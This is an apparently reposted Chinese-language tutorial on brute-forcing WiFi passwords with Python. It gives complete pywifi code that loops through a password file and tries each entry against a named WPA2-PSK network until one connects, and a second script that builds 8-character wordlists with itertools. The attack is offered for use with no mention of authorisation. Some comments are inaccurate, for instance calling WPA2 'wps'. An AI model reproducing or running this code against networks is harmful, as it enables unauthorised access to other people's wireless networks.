python之pywifi破解wifi


1 准備

安裝第三方庫:pywifi和comtypes

# 安裝pywifi

pip install pywifi

# 安裝comtypes

pip install comtypes

2 代碼

注意:

  要有無線網卡

import pywifi
from pywifi import const
import time


# 測試連接,返回鏈接結果
def wifi_connect(pwd):
    # 抓取網卡接口
    wifi = pywifi.PyWiFi()
    # 獲取第一個無線網卡
    wireless_network = wifi.interfaces()[0]
    # 斷開所有連接
    wireless_network.disconnect()
    # time.sleep(1)
    wifi_status = wireless_network.status()
    if wifi_status == const.IFACE_DISCONNECTED:
        # 創建WiFi連接文件
        wifi_file = pywifi.Profile()
        # 要連接WiFi的名稱
        wifi_file.ssid = "lqz"
        # 網卡的開放狀態
        wifi_file.auth = const.AUTH_ALG_OPEN
        # wifi加密算法,一般wifi加密算法為wps
        wifi_file.akm.append(const.AKM_TYPE_WPA2PSK)
        # 加密單元
        wifi_file.cipher = const.CIPHER_TYPE_CCMP
        # 調用密碼
        wifi_file.key = pwd
        # 刪除所有連接過的wifi文件
        wireless_network.remove_all_network_profiles()
        # 設定新的連接文件
        tep_profile = wireless_network.add_network_profile(wifi_file)
        wireless_network.connect(tep_profile)
        # wifi連接時間
        time.sleep(3)
        if wireless_network.status() == const.IFACE_CONNECTED:
            return True
        else:
            return False
    else:
        print("已有wifi連接")

    # 讀取密碼本


def check_password():
    print("開始破解:")
    # 密碼本路徑
    path = "E:\\untitled\\02 wf\\pwd1"
    # 打開文件
    file = open(path, "r")
    while True:
        try:
            # 一行一行讀取
            pad = file.readline()
            bool = wifi_connect(pad)

            if bool:
                print("密碼已破解: ", pad)
                file.close()
                print("WiFi已自動連接!!!")
                break
            else:
                # 跳出當前循環,進行下一次循環
                print("密碼破解中....密碼校對: ", pad)
        except:
            continue


check_password()

3 python生成密碼本

  注意:八位的密碼,要幾百M,半小時,慎重

import itertools as its
import time

# 迭代器
words = "lqz123456789"
# 生成密碼本的位數,五位數,repeat=5
r = its.product(words, repeat=8)
# 保存在文件中,追加
dic = open("E:\\untitled\\02 wf\\password1", "w")
# i是元組
for i in r:
    time.sleep(1)
    # jion空格鏈接
    dic.write("".join(i))
    dic.write("".join("\n"))
dic.close()
print("密碼本已生成")


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM